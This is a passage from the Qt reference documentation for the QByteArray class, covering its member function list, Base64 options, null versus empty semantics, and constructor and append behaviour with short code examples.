|  QByteArray & | **[setNum](qbytearray#setNum-8)**(float *n*, char *format* = 'g', int *precision* = 6) |
|  QByteArray & | **[setNum](qbytearray#setNum-9)**(double *n*, char *format* = 'g', int *precision* = 6) |
|  QByteArray & | **[setRawData](qbytearray#setRawData)**(const char \**data*, qsizetype *size*) |
|  void  | **[shrink\_to\_fit](qbytearray#shrink_to_fit)**() |
|  QByteArray  | **[simplified](qbytearray#simplified)**() const |
|  qsizetype  | **[size](qbytearray#size)**() const |
|  QByteArray  | **[sliced](qbytearray#sliced)**(qsizetype *pos*, qsizetype *n*) const |
|  QByteArray  | **[sliced](qbytearray#sliced-1)**(qsizetype *pos*) const |
|  QList<QByteArray>  | **[split](qbytearray#split)**(char *sep*) const |
|  void  | **[squeeze](qbytearray#squeeze)**() |
|  bool  | **[startsWith](qbytearray#startsWith)**(QByteArrayView *bv*) const |
|  bool  | **[startsWith](qbytearray#startsWith-1)**(char *ch*) const |
|  void  | **[swap](qbytearray#swap)**(QByteArray &*other*) |
|  QByteArray  | **[toBase64](qbytearray#toBase64)**(QByteArray::Base64Options *options* = Base64Encoding) const |
|  CFDataRef  | **[toCFData](qbytearray#toCFData)**() const |
|  double  | **[toDouble](qbytearray#toDouble)**(bool \**ok* = nullptr) const |
|  float  | **[toFloat](qbytearray#toFloat)**(bool \**ok* = nullptr) const |
|  QByteArray  | **[toHex](qbytearray#toHex)**(char *separator* = '\0') const |
|  int  | **[toInt](qbytearray#toInt)**(bool \**ok* = nullptr, int *base* = 10) const |
|  long  | **[toLong](qbytearray#toLong)**(bool \**ok* = nullptr, int *base* = 10) const |
|  qlonglong  | **[toLongLong](qbytearray#toLongLong)**(bool \**ok* = nullptr, int *base* = 10) const |
|  QByteArray  | **[toLower](qbytearray#toLower)**() const |
|  NSData \* | **[toNSData](qbytearray#toNSData)**() const |
|  QByteArray  | **[toPercentEncoding](qbytearray#toPercentEncoding)**(const QByteArray &*exclude* = QByteArray(), const QByteArray &*include* = QByteArray(), char *percent* = '%') const |
|  CFDataRef  | **[toRawCFData](qbytearray#toRawCFData)**() const |
|  NSData \* | **[toRawNSData](qbytearray#toRawNSData)**() const |
|  short  | **[toShort](qbytearray#toShort)**(bool \**ok* = nullptr, int *base* = 10) const |
|  std::string  | **[toStdString](qbytearray#toStdString)**() const |
|  uint  | **[toUInt](qbytearray#toUInt)**(bool \**ok* = nullptr, int *base* = 10) const |
|  ulong  | **[toULong](qbytearray#toULong)**(bool \**ok* = nullptr, int *base* = 10) const |
|  qulonglong  | **[toULongLong](qbytearray#toULongLong)**(bool \**ok* = nullptr, int *base* = 10) const |
|  ushort  | **[toUShort](qbytearray#toUShort)**(bool \**ok* = nullptr, int *base* = 10) const |
|  QByteArray  | **[toUpper](qbytearray#toUpper)**() const |
|  QByteArray  | **[trimmed](qbytearray#trimmed)**() const |
|  void  | **[truncate](qbytearray#truncate)**(qsizetype *pos*) |
|  const char \* | **[operator const char \*](qbytearray#operator-const-char--2a)**() const |
|  const void \* | **[operator const void \*](qbytearray#operator-const-void--2a)**() const |
|  bool  | **[operator!=](qbytearray#operator-not-eq)**(const QString &*str*) const |
|  QByteArray & | **[operator+=](qbytearray#operator-2b-eq)**(const QByteArray &*ba*) |
|  QByteArray & | **[operator+=](qbytearray#operator-2b-eq-1)**(char *ch*) |
|  QByteArray & | **[operator+=](qbytearray#operator-2b-eq-2)**(const char \**str*) |
|  bool  | **[operator<](qbytearray#operator-lt)**(const QString &*str*) const |
|  bool  | **[operator<=](qbytearray#operator-lt-eq)**(const QString &*str*) const |
|  QByteArray & | **[operator=](qbytearray#operator-eq-1)**(const char \**str*) |
|  bool  | **[operator==](qbytearray#operator-eq-eq)**(const QString &*str*) const |
|  bool  | **[operator>](qbytearray#operator-gt)**(const QString &*str*) const |
|  bool  | **[operator>=](qbytearray#operator-gt-eq)**(const QString &*str*) const |
|  char & | **[operator[]](qbytearray#operator-5b-5d)**(qsizetype *i*) |
|  char  | **[operator[]](qbytearray#operator-5b-5d-1)**(qsizetype *i*) const |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  QByteArray  | **[fromBase64](qbytearray#fromBase64)**(const QByteArray &*base64*, QByteArray::Base64Options *options* = Base64Encoding) |
|  QByteArray::FromBase64Result  | **[fromBase64Encoding](qbytearray#fromBase64Encoding)**(QByteArray &&*base64*, QByteArray::Base64Options *options* = Base64Encoding) |
|  QByteArray::FromBase64Result  | **[fromBase64Encoding](qbytearray#fromBase64Encoding-1)**(const QByteArray &*base64*, QByteArray::Base64Options *options* = Base64Encoding) |
|  QByteArray  | **[fromCFData](qbytearray#fromCFData)**(CFDataRef *data*) |
|  QByteArray  | **[fromHex](qbytearray#fromHex)**(const QByteArray &*hexEncoded*) |
|  QByteArray  | **[fromNSData](qbytearray#fromNSData)**(const NSData \**data*) |
|  QByteArray  | **[fromPercentEncoding](qbytearray#fromPercentEncoding)**(const QByteArray &*input*, char *percent* = '%') |
|  QByteArray  | **[fromRawCFData](qbytearray#fromRawCFData)**(CFDataRef *data*) |
|  QByteArray  | **[fromRawData](qbytearray#fromRawData)**(const char \**data*, qsizetype *size*) |
|  QByteArray  | **[fromRawNSData](qbytearray#fromRawNSData)**(const NSData \**data*) |
|  QByteArray  | **[fromStdString](qbytearray#fromStdString)**(const std::string &*str*) |
|  QByteArray  | **[number](qbytearray#number)**(int *n*, int *base* = 10) |
|  QByteArray  | **[number](qbytearray#number-1)**(uint *n*, int *base* = 10) |
|  QByteArray  | **[number](qbytearray#number-2)**(long *n*, int *base* = 10) |
|  QByteArray  | **[number](qbytearray#number-3)**(ulong *n*, int *base* = 10) |
|  QByteArray  | **[number](qbytearray#number-4)**(qlonglong *n*, int *base* = 10) |
|  QByteArray  | **[number](qbytearray#number-5)**(qulonglong *n*, int *base* = 10) |
|  QByteArray  | **[number](qbytearray#number-6)**(double *n*, char *format* = 'g', int *precision* = 6) |

 Related Non-Members
-------------------

 

|  |  |
| --- | --- |
|  qsizetype  | **[erase](qbytearray#erase-1)**(QByteArray &*ba*, const T &*t*) |
|  qsizetype  | **[erase\_if](qbytearray#erase_if)**(QByteArray &*ba*, Predicate *pred*) |
|  quint16  | **[qChecksum](qbytearray#qChecksum)**(QByteArrayView *data*, Qt::ChecksumType *standard* = Qt::ChecksumIso3309) |
|  QByteArray  | **[qCompress](qbytearray#qCompress)**(const QByteArray &*data*, int *compressionLevel* = -1) |
|  QByteArray  | **[qCompress](qbytearray#qCompress-1)**(const uchar \**data*, qsizetype *nbytes*, int *compressionLevel* = -1) |
|  QByteArray  | **[qUncompress](qbytearray#qUncompress-1)**(const QByteArray &*data*) |
|  QByteArray  | **[qUncompress](qbytearray#qUncompress-2)**(const uchar \**data*, qsizetype *nbytes*) |
|  int  | **[qsnprintf](qbytearray#qsnprintf)**(char \**str*, size\_t *n*, const char \**fmt*, ...) |
|  int  | **[qstrcmp](qbytearray#qstrcmp)**(const char \**str1*, const char \**str2*) |
|  char \* | **[qstrcpy](qbytearray#qstrcpy)**(char \**dst*, const char \**src*) |
|  char \* | **[qstrdup](qbytearray#qstrdup)**(const char \**src*) |
|  int  | **[qstricmp](qbytearray#qstricmp)**(const char \**str1*, const char \**str2*) |
|  size\_t  | **[qstrlen](qbytearray#qstrlen)**(const char \**str*) |
|  int  | **[qstrncmp](qbytearray#qstrncmp)**(const char \**str1*, const char \**str2*, size\_t *len*) |
|  char \* | **[qstrncpy](qbytearray#qstrncpy)**(char \**dst*, const char \**src*, size\_t *len*) |
|  int  | **[qstrnicmp](qbytearray#qstrnicmp)**(const char \**str1*, const char \**str2*, size\_t *len*) |
|  size\_t  | **[qstrnlen](qbytearray#qstrnlen)**(const char \**str*, size\_t *maxlen*) |
|  int  | **[qvsnprintf](qbytearray#qvsnprintf)**(char \**str*, size\_t *n*, const char \**fmt*, va\_list *ap*) |
|  bool  | **[operator!=](qbytearray#operator-not-eq-1)**(const QByteArray &*a1*, const QByteArray &*a2*) |
|  bool  | **[operator!=](qbytearray#operator-not-eq-2)**(const QByteArray &*a1*, const char \**a2*) |
|  bool  | **[operator!=](qbytearray#operator-not-eq-3)**(const char \**a1*, const QByteArray &*a2*) |
|  QByteArray  | **[operator""\_qba](qbytearray#operator-22-22_qba)**(const char \**str*, size\_t *size*) |
|  const QByteArray  | **[operator+](qbytearray#operator-2b)**(const QByteArray &*a1*, const QByteArray &*a2*) |
|  const QByteArray  | **[operator+](qbytearray#operator-2b-1)**(const QByteArray &*a1*, const char \**a2*) |
|  const QByteArray  | **[operator+](qbytearray#operator-2b-2)**(const QByteArray &*a1*, char *a2*) |
|  const QByteArray  | **[operator+](qbytearray#operator-2b-3)**(const char \**a1*, const QByteArray &*a2*) |
|  const QByteArray  | **[operator+](qbytearray#operator-2b-4)**(char *a1*, const QByteArray &*a2*) |
|  bool  | **[operator<](qbytearray#operator-lt-1)**(const QByteArray &*a1*, const QByteArray &*a2*) |
|  bool  | **[operator<](qbytearray#operator-lt-2)**(const QByteArray &*a1*, const char \**a2*) |
|  bool  | **[operator<](qbytearray#operator-lt-3)**(const char \**a1*, const QByteArray &*a2*) |
|  QDataStream & | **[operator<<](qbytearray#operator-lt-lt)**(QDataStream &*out*, const QByteArray &*ba*) |
|  bool  | **[operator<=](qbytearray#operator-lt-eq-1)**(const QByteArray &*a1*, const QByteArray &*a2*) |
|  bool  | **[operator<=](qbytearray#operator-lt-eq-2)**(const QByteArray &*a1*, const char \**a2*) |
|  bool  | **[operator<=](qbytearray#operator-lt-eq-3)**(const char \**a1*, const QByteArray &*a2*) |
|  bool  | **[operator==](qbytearray#operator-eq-eq-1)**(const QByteArray &*a1*, const QByteArray &*a2*) |
|  bool  | **[operator==](qbytearray#operator-eq-eq-2)**(const QByteArray &*a1*, const char \**a2*) |
|  bool  | **[operator==](qbytearray#operator-eq-eq-3)**(const char \**a1*, const QByteArray &*a2*) |
|  bool  | **[operator>](qbytearray#operator-gt-1)**(const QByteArray &*a1*, const QByteArray &*a2*) |
|  bool  | **[operator>](qbytearray#operator-gt-2)**(const QByteArray &*a1*, const char \**a2*) |
|  bool  | **[operator>](qbytearray#operator-gt-3)**(const char \**a1*, const QByteArray &*a2*) |
|  bool  | **[operator>=](qbytearray#operator-gt-eq-1)**(const QByteArray &*a1*, const QByteArray &*a2*) |
|  bool  | **[operator>=](qbytearray#operator-gt-eq-2)**(const QByteArray &*a1*, const char \**a2*) |
|  bool  | **[operator>=](qbytearray#operator-gt-eq-3)**(const char \**a1*, const QByteArray &*a2*) |
|  QDataStream & | **[operator>>](qbytearray#operator-gt-gt)**(QDataStream &*in*, QByteArray &*ba*) |

 Macros
------

 

|  |  |
| --- | --- |
|  | **[QByteArrayLiteral](qbytearray#QByteArrayLiteral)**(*ba*) |
|  | **[QT\_NO\_CAST\_FROM\_BYTEARRAY](qbytearray#QT_NO_CAST_FROM_BYTEARRAY)** |

 Detailed Description
--------------------

 QByteArray can be used to store both raw bytes (including '\0's) and traditional 8-bit '\0'-terminated strings. Using QByteArray is much more convenient than using `const char *`. Behind the scenes, it always ensures that the data is followed by a '\0' terminator, and uses [implicit sharing](implicit-sharing) (copy-on-write) to reduce memory usage and avoid needless copying of data.

 In addition to QByteArray, Qt also provides the [QString](qstring) class to store string data. For most purposes, [QString](qstring) is the class you want to use. It understands its content as Unicode text (encoded using UTF-16) where QByteArray aims to avoid assumptions about the encoding or semantics of the bytes it stores (aside from a few legacy cases where it uses ASCII). Furthermore, [QString](qstring) is used throughout in the Qt API. The two main cases where QByteArray is appropriate are when you need to store raw binary data, and when memory conservation is critical (e.g., with Qt for Embedded Linux).

 One way to initialize a QByteArray is simply to pass a `const char *` to its constructor. For example, the following code creates a byte array of size 5 containing the data "Hello":

 
```
QByteArray ba("Hello");
```
 Although the [size](qbytearray#size)() is 5, the byte array also maintains an extra '\0' byte at the end so that if a function is used that asks for a pointer to the underlying data (e.g. a call to [data](qbytearray#data)()), the data pointed to is guaranteed to be '\0'-terminated.

 QByteArray makes a deep copy of the `const char *` data, so you can modify it later without experiencing side effects. (If, for example for performance reasons, you don't want to take a deep copy of the data, use [QByteArray::fromRawData](qbytearray#fromRawData)() instead.)

 Another approach is to set the size of the array using [resize](qbytearray#resize)() and to initialize the data byte by byte. QByteArray uses 0-based indexes, just like C++ arrays. To access the byte at a particular index position, you can use operator[](). On non-const byte arrays, operator[]() returns a reference to a byte that can be used on the left side of an assignment. For example:

 
```
QByteArray ba;
ba.resize(5);
ba[0] = 0x3c;
ba[1] = 0xb8;
ba[2] = 0x64;
ba[3] = 0x18;
ba[4] = 0xca;
```
 For read-only access, an alternative syntax is to use [at](qbytearray#at)():

 
```
for (qsizetype i = 0; i < ba.size(); ++i) {
    if (ba.at(i) >= 'a' && ba.at(i) <= 'f')
        cout << "Found character in range [a-f]" << Qt::endl;
}
```
 [at](qbytearray#at)() can be faster than operator[](), because it never causes a [deep copy](implicit-sharing#deep-copy) to occur.

 To extract many bytes at a time, use [first](qbytearray#first)(), [last](qbytearray#last)(), or [sliced](qbytearray#sliced)().

 A QByteArray can embed '\0' bytes. The [size](qbytearray#size)() function always returns the size of the whole array, including embedded '\0' bytes, but excluding the terminating '\0' added by QByteArray. For example:

 
```
QByteArray ba1("ca\0r\0t");
ba1.size();                     // Returns 2.
ba1.constData();                // Returns "ca" with terminating \0.

QByteArray ba2("ca\0r\0t", 3);
ba2.size();                     // Returns 3.
ba2.constData();                // Returns "ca\0" with terminating \0.

QByteArray ba3("ca\0r\0t", 4);
ba3.size();                     // Returns 4.
ba3.constData();                // Returns "ca\0r" with terminating \0.

const char cart[] = {'c', 'a', '\0', 'r', '\0', 't'};
QByteArray ba4(QByteArray::fromRawData(cart, 6));
ba4.size();                     // Returns 6.
ba4.constData();                // Returns "ca\0r\0t" without terminating \0.
```
 If you want to obtain the length of the data up to and excluding the first '\0' byte, call [qstrlen](qbytearray#qstrlen)() on the byte array.

 After a call to [resize](qbytearray#resize)(), newly allocated bytes have undefined values. To set all the bytes to a particular value, call [fill](qbytearray#fill)().

 To obtain a pointer to the actual bytes, call [data](qbytearray#data)() or [constData](qbytearray#constData)(). These functions return a pointer to the beginning of the data. The pointer is guaranteed to remain valid until a non-const function is called on the QByteArray. It is also guaranteed that the data ends with a '\0' byte unless the QByteArray was created from [raw data](qbytearray#fromRawData). This '\0' byte is automatically provided by QByteArray and is not counted in [size](qbytearray#size)().

 QByteArray provides the following basic functions for modifying the byte data: [append](qbytearray#append)(), [prepend](qbytearray#prepend)(), [insert](qbytearray#insert)(), [replace](qbytearray#replace)(), and [remove](qbytearray#remove)(). For example:

 
```
QByteArray x("and");
x.prepend("rock ");         // x == "rock and"
x.append(" roll");          // x == "rock and roll"
x.replace(5, 3, "&");       // x == "rock & roll"
```
 In the above example the [replace](qbytearray#replace)() function's first two arguments are the position from which to start replacing and the number of bytes that should be replaced.

 When data-modifying functions increase the size of the array, they may lead to reallocation of memory for the QByteArray object. When this happens, QByteArray expands by more than it immediately needs so as to have space for further expansion without reallocation until the size of the array has greatly increased.

 The [insert](qbytearray#insert)(), [remove](qbytearray#remove)() and, when replacing a sub-array with one of different size, [replace](qbytearray#replace)() functions can be slow ([linear time](containers#linear-time)) for large arrays, because they require moving many bytes in the array by at least one position in memory.

 If you are building a QByteArray gradually and know in advance approximately how many bytes the QByteArray will contain, you can call [reserve](qbytearray#reserve)(), asking QByteArray to preallocate a certain amount of memory. You can also call [capacity](qbytearray#capacity)() to find out how much memory the QByteArray actually has allocated.

 Note that using non-const operators and functions can cause QByteArray to do a deep copy of the data, due to [implicit sharing](implicit-sharing).

 QByteArray provides [STL-style iterators](containers#stl-style-iterators) ([QByteArray::const\_iterator](qbytearray#const_iterator-typedef) and [QByteArray::iterator](qbytearray#iterator-typedef)). In practice, iterators are handy when working with generic algorithms provided by the C++ standard library.

  **Note:** Iterators and references to individual QByteArray elements are subject to stability issues. They are often invalidated when a QByteArray-modifying operation (e.g. [insert](qbytearray#insert)() or [remove](qbytearray#remove)()) is called. When stability and iterator-like functionality is required, you should use indexes instead of iterators as they are not tied to QByteArray's internal state and thus do not get invalidated.

   **Note:** Iterators over a QByteArray, and references to individual bytes within one, cannot be relied on to remain valid when any non-const method of the QByteArray is called. Accessing such an iterator or reference after the call to a non-const method leads to undefined behavior. When stability for iterator-like functionality is required, you should use indexes instead of iterators as they are not tied to QByteArray's internal state and thus do not get invalidated.

  If you want to find all occurrences of a particular byte or sequence of bytes in a QByteArray, use [indexOf](qbytearray#indexOf)() or [lastIndexOf](qbytearray#lastIndexOf)(). The former searches forward starting from a given index position, the latter searches backward. Both return the index position of the byte sequence if they find it; otherwise, they return -1. For example, here's a typical loop that finds all occurrences of a particular string:

 
```
QByteArray ba("We must be <b>bold</b>, very <b>bold</b>");
qsizetype j = 0;
while ((j = ba.indexOf("<b>", j)) != -1) {
    cout << "Found <b> tag at index position " << j << Qt::endl;
    ++j;
}
```
 If you simply want to check whether a QByteArray contains a particular byte sequence, use [contains](qbytearray#contains)(). If you want to find out how many times a particular byte sequence occurs in the byte array, use [count](qbytearray#count-2)(). If you want to replace all occurrences of a particular value with another, use one of the two-parameter [replace](qbytearray#replace)() overloads.

 [QByteArray](qbytearray)s can be compared using overloaded operators such as operator<(), operator<=(), operator==(), operator>=(), and so on. The comparison is based exclusively on the numeric values of the bytes and is very fast, but is not what a human would expect. [QString::localeAwareCompare](qstring#localeAwareCompare)() is a better choice for sorting user-interface strings.

 For historical reasons, QByteArray distinguishes between a null byte array and an empty byte array. A *null* byte array is a byte array that is initialized using QByteArray's default constructor or by passing (const char \*)0 to the constructor. An *empty* byte array is any byte array with size 0. A null byte array is always empty, but an empty byte array isn't necessarily null:

 
```
QByteArray().isNull();          // returns true
QByteArray().isEmpty();         // returns true

QByteArray("").isNull();        // returns false
QByteArray("").isEmpty();       // returns true

QByteArray("abc").isNull();     // returns false
QByteArray("abc").isEmpty();    // returns false
```
 All functions except [isNull](qbytearray#isNull)() treat null byte arrays the same as empty byte arrays. For example, [data](qbytearray#data)() returns a valid pointer (*not* nullptr) to a '\0' byte for a null byte array and QByteArray() compares equal to QByteArray(""). We recommend that you always use [isEmpty](qbytearray#isEmpty)() and avoid [isNull](qbytearray#isNull)().

 ### Maximum size and out-of-memory conditions

 The maximum size of QByteArray depends on the architecture. Most 64-bit systems can allocate more than 2 GB of memory, with a typical limit of 2^63 bytes. The actual value also depends on the overhead required for managing the data block. As a result, you can expect the maximum size of 2 GB minus overhead on 32-bit platforms, and 2^63 bytes minus overhead on 64-bit platforms. The number of elements that can be stored in a QByteArray is this maximum size.

 When memory allocation fails, QByteArray throws a `std::bad_alloc` exception if the application is being compiled with exception support. Out of memory conditions in Qt containers are the only case where Qt will throw exceptions. If exceptions are disabled, then running out of memory is undefined behavior.

 Note that the operating system may impose further limits on applications holding a lot of allocated memory, especially large, contiguous blocks. Such considerations, the configuration of such behavior or any mitigation are outside the scope of the QByteArray API.

 ### C locale and ASCII functions

 QByteArray generally handles data as bytes, without presuming any semantics; where it does presume semantics, it uses the C locale and ASCII encoding. Standard Unicode encodings are supported by [QString](qstring), other encodings may be supported using [QStringEncoder](qstringencoder) and [QStringDecoder](qstringdecoder) to convert to Unicode. For locale-specific interpretation of text, use [QLocale](qlocale) or [QString](qstring).

 #### C Strings

 Traditional C strings, also known as '\0'-terminated strings, are sequences of bytes, specified by a start-point and implicitly including each byte up to, but not including, the first '\0' byte thereafter. Methods that accept such a pointer, without a length, will interpret it as this sequence of bytes. Such a sequence, by construction, cannot contain a '\0' byte.

 Other overloads accept a start-pointer and a byte-count; these use the given number of bytes, following the start address, regardless of whether any of them happen to be '\0' bytes. In some cases, where there is no overload taking only a pointer, passing a length of -1 will cause the method to use the offset of the first '\0' byte after the pointer as the length; a length of -1 should only be passed if the method explicitly says it does this (in which case it is typically a default argument).

 #### Spacing Characters

 A frequent requirement is to remove spacing characters from a byte array (`'\n'`, `'\t'`, `' '`, etc.). If you want to remove spacing from both ends of a QByteArray, use [trimmed](qbytearray#trimmed)(). If you want to also replace each run of spacing characters with a single space character within the byte array, use [simplified](qbytearray#simplified)(). Only ASCII spacing characters are recognized for these purposes.

 #### Number-String Conversions

 Functions that perform conversions between numeric data types and string representations are performed in the C locale, regardless of the user's locale settings. Use [QLocale](qlocale) to perform locale-aware conversions between numbers and strings.

 #### Character Case

 In QByteArray, the notion of uppercase and lowercase and of case-independent comparison is limited to ASCII. Non-ASCII characters are treated as caseless, since their case depends on encoding. This affects functions that support a case insensitive option or that change the case of their arguments. Functions that this affects include [contains](qbytearray#contains)(), [indexOf](qbytearray#indexOf)(), [lastIndexOf](qbytearray#lastIndexOf)(), [isLower](qbytearray#isLower)(), [isUpper](qbytearray#isUpper)(), [toLower](qbytearray#toLower)() and [toUpper](qbytearray#toUpper)().

 This issue does not apply to [QString](qstring)s since they represent characters using Unicode.

 **See also** [QByteArrayView](qbytearrayview), [QString](qstring), and [QBitArray](qbitarray).

 Member Type Documentation
-------------------------

 ### 
`[since 5.2]` enum QByteArray::Base64Optionflags QByteArray::Base64Options

 This enum contains the options available for encoding and decoding Base64. Base64 is defined by [RFC 4648](https://datatracker.ietf.org/doc/html/rfc4648), with the following options:

 

| Constant | Value | Description |
| --- | --- | --- |
| `QByteArray::Base64Encoding` | `0` | (default) The regular Base64 alphabet, called simply "base64" |
| `QByteArray::Base64UrlEncoding` | `1` | An alternate alphabet, called "base64url", which replaces two characters in the alphabet to be more friendly to URLs. |
| `QByteArray::KeepTrailingEquals` | `0` | (default) Keeps the trailing padding equal signs at the end of the encoded data, so the data is always a size multiple of four. |
| `QByteArray::OmitTrailingEquals` | `2` | Omits adding the padding equal signs at the end of the encoded data. |
| `QByteArray::IgnoreBase64DecodingErrors` | `0` | When decoding Base64-encoded data, ignores errors in the input; invalid characters are simply skipped. This enum value has been added in Qt 5.15. |
| `QByteArray::AbortOnBase64DecodingErrors` | `4` | When decoding Base64-encoded data, stops at the first decoding error. This enum value has been added in Qt 5.15. |

 [QByteArray::fromBase64Encoding](qbytearray#fromBase64Encoding)() and [QByteArray::fromBase64](qbytearray#fromBase64)() ignore the KeepTrailingEquals and OmitTrailingEquals options. If the IgnoreBase64DecodingErrors option is specified, they will not flag errors in case trailing equal signs are missing or if there are too many of them. If instead the AbortOnBase64DecodingErrors is specified, then the input must either have no padding or have the correct amount of equal signs.

 This enum was introduced or modified in Qt 5.2.

 The Base64Options type is a typedef for [QFlags](qflags)<Base64Option>. It stores an OR combination of Base64Option values.

 ### QByteArray::const\_iterator

 This typedef provides an STL-style const iterator for [QByteArray](qbytearray).

 **See also** [QByteArray::const\_reverse\_iterator](qbytearray#const_reverse_iterator-typedef) and [QByteArray::iterator](qbytearray#iterator-typedef).

 ### 
`[since 5.6]` QByteArray::const\_reverse\_iterator

 This typedef provides an STL-style const reverse iterator for [QByteArray](qbytearray).

 This typedef was introduced in Qt 5.6.

 **See also** [QByteArray::reverse\_iterator](qbytearray#reverse_iterator-typedef) and [QByteArray::const\_iterator](qbytearray#const_iterator-typedef).

 ### QByteArray::iterator

 This typedef provides an STL-style non-const iterator for [QByteArray](qbytearray).

 **See also** [QByteArray::reverse\_iterator](qbytearray#reverse_iterator-typedef) and [QByteArray::const\_iterator](qbytearray#const_iterator-typedef).

 ### 
`[since 5.6]` QByteArray::reverse\_iterator

 This typedef provides an STL-style non-const reverse iterator for [QByteArray](qbytearray).

 This typedef was introduced in Qt 5.6.

 **See also** [QByteArray::const\_reverse\_iterator](qbytearray#const_reverse_iterator-typedef) and [QByteArray::iterator](qbytearray#iterator-typedef).

 Member Function Documentation
-----------------------------

  ### 
`[static, since 5.15]` [QByteArray::FromBase64Result](qbytearray-frombase64result) QByteArray::fromBase64Encoding([QByteArray](qbytearray#QByteArray) &&*base64*, [QByteArray::Base64Options](qbytearray#Base64Option-enum) *options* = Base64Encoding)


### 
`[static, since 5.15]` [QByteArray::FromBase64Result](qbytearray-frombase64result) QByteArray::fromBase64Encoding(const [QByteArray](qbytearray#QByteArray) &*base64*, [QByteArray::Base64Options](qbytearray#Base64Option-enum) *options* = Base64Encoding)


 This is an overloaded function.

 Decodes the Base64 array *base64*, using the options defined by *options*. If *options* contains `IgnoreBase64DecodingErrors` (the default), the input is not checked for validity; invalid characters in the input are skipped, enabling the decoding process to continue with subsequent characters. If *options* contains `AbortOnBase64DecodingErrors`, then decoding will stop at the first invalid character.

 For example:

 
```
void process(const QByteArray &);

if (auto result = QByteArray::fromBase64Encoding(encodedData))
    process(*result);
```
 The algorithm used to decode Base64-encoded data is defined in [RFC 4648](https://datatracker.ietf.org/doc/html/rfc4648).

 Returns a QByteArrayFromBase64Result object, containing the decoded data and a flag telling whether decoding was successful. If the `AbortOnBase64DecodingErrors` option was passed and the input data was invalid, it is unspecified what the decoded data contains.

 This function was introduced in Qt 5.15.

 **See also** [toBase64](qbytearray#toBase64)().

  ### const char \*QByteArray::operator const char \*() const


### const void \*QByteArray::operator const void \*() const


  **Note:** Use [constData](qbytearray#constData)() instead in new code.

  Returns a pointer to the data stored in the byte array. The pointer can be used to access the bytes that compose the array. The data is '\0'-terminated.

 The pointer remains valid as long as no detach happens and the [QByteArray](qbytearray) is not modified. This operator is mostly useful to pass a byte array to a function that accepts a `const char *`.

 You can disable this operator by defining `QT_NO_CAST_FROM_BYTEARRAY` when you compile your applications.

 Note: A [QByteArray](qbytearray) can store any byte values including '\0's, but most functions that take `char *` arguments assume that the data ends at the first '\0' they encounter.

 **See also** [constData](qbytearray#constData)().

 ### 
`[since 5.2]` QByteArray::QByteArray([QByteArray](qbytearray#QByteArray) &&*other*)

 Move-constructs a QByteArray instance, making it point at the same object that *other* was pointing to.

 This function was introduced in Qt 5.2.

 ### QByteArray::QByteArray(const [QByteArray](qbytearray#QByteArray) &*other*)

 Constructs a copy of *other*.

 This operation takes [constant time](containers#constant-time), because QByteArray is [implicitly shared](implicit-sharing). This makes returning a QByteArray from a function very fast. If a shared instance is modified, it will be copied (copy-on-write), taking [linear time](containers#linear-time).

 **See also** [operator=](qbytearray#operator-eq)().

 ### QByteArray::QByteArray(qsizetype *size*, char *ch*)

 Constructs a byte array of size *size* with every byte set to *ch*.

 **See also** [fill](qbytearray#fill)().

 ### QByteArray::QByteArray(const char \**data*, qsizetype *size* = -1)

 Constructs a byte array containing the first *size* bytes of array *data*.

 If *data* is 0, a null byte array is constructed.

 If *size* is negative, *data* is assumed to point to a '\0'-terminated string and its length is determined dynamically.

 QByteArray makes a deep copy of the string data.

 **See also** [fromRawData](qbytearray#fromRawData)().

 ### QByteArray::QByteArray()

 Constructs an empty byte array.

 **See also** [isEmpty](qbytearray#isEmpty)().

 ### 
`[since 5.2]` [QByteArray](qbytearray#QByteArray) &QByteArray::operator=([QByteArray](qbytearray#QByteArray) &&*other*)

 Move-assigns *other* to this [QByteArray](qbytearray) instance.

 This function was introduced in Qt 5.2.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::operator=(const [QByteArray](qbytearray#QByteArray) &*other*)

 Assigns *other* to this byte array and returns a reference to this byte array.

 ### QByteArray::~QByteArray()

 Destroys the byte array.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::append(const [QByteArray](qbytearray#QByteArray) &*ba*)

 Appends the byte array *ba* onto the end of this byte array.

 Example:

 
```
QByteArray x("free");
QByteArray y("dom");
x.append(y);
// x == "freedom"
```
 This is the same as insert([size](qbytearray#size)(), *ba*).

 Note: [QByteArray](qbytearray) is an [implicitly shared](implicit-sharing) class. Consequently, if you append to an empty byte array, then the byte array will just share the data held in *ba*. In this case, no copying of data is done, taking [constant time](containers#constant-time). If a shared instance is modified, it will be copied (copy-on-write), taking [linear time](containers#linear-time).

 If the byte array being appended to is not empty, a deep copy of the data is performed, taking [linear time](containers#linear-time).

 The append() function is typically very fast ([constant time](containers#constant-time)), because [QByteArray](qbytearray) preallocates extra space at the end of the data, so it can grow without reallocating the entire array each time.

 **See also** [operator+=](qbytearray#operator-2b-eq)(), [prepend](qbytearray#prepend)(), and [insert](qbytearray#insert)().

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::append(char *ch*)

 This is an overloaded function.

 Appends the byte *ch* to this byte array.

 ### 
`[since 5.7]` [QByteArray](qbytearray#QByteArray) &QByteArray::append(qsizetype *count*, char *ch*)

 This is an overloaded function.

 Appends *count* copies of byte *ch* to this byte array and returns a reference to this byte array.

 If *count* is negative or zero nothing is appended to the byte array.

 This function was introduced in Qt 5.7.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::append(const char \**str*)

 This is an overloaded function.

 Appends the '\0'-terminated string *str* to this byte array.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::append(const char \**str*, qsizetype *len*)

 This is an overloaded function.

 Appends the first *len* bytes starting at *str* to this byte array and returns a reference to this byte array. The bytes appended may include '\0' bytes.

 If *len* is negative, *str* will be assumed to be a '\0'-terminated string and the length to be copied will be determined automatically using [qstrlen](qbytearray#qstrlen)().

 If *len* is zero or *str* is null, nothing is appended to the byte array. Ensure that *len* is *not* longer than *str*.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::append([QByteArrayView](qbytearrayview) *data*)

 This is an overloaded function.

 Appends *data* to this byte array.

 ### 
char QByteArray::at(qsizetype *i*) const

 Returns the byte at index position *i* in the byte array.

 *i* must be a valid index position in the byte array (i.e., 0 <= *i* < [size](qbytearray#size)()).

 **See also** [operator[]](qbytearray#operator-5b-5d)().

 ### 
`[since 5.10]` char QByteArray::back() const

 Returns the last byte in the byte array. Same as `at(size() - 1)`.

 This function is provided for STL compatibility.

  **Warning:** Calling this function on an empty byte array constitutes undefined behavior.

  This function was introduced in Qt 5.10.

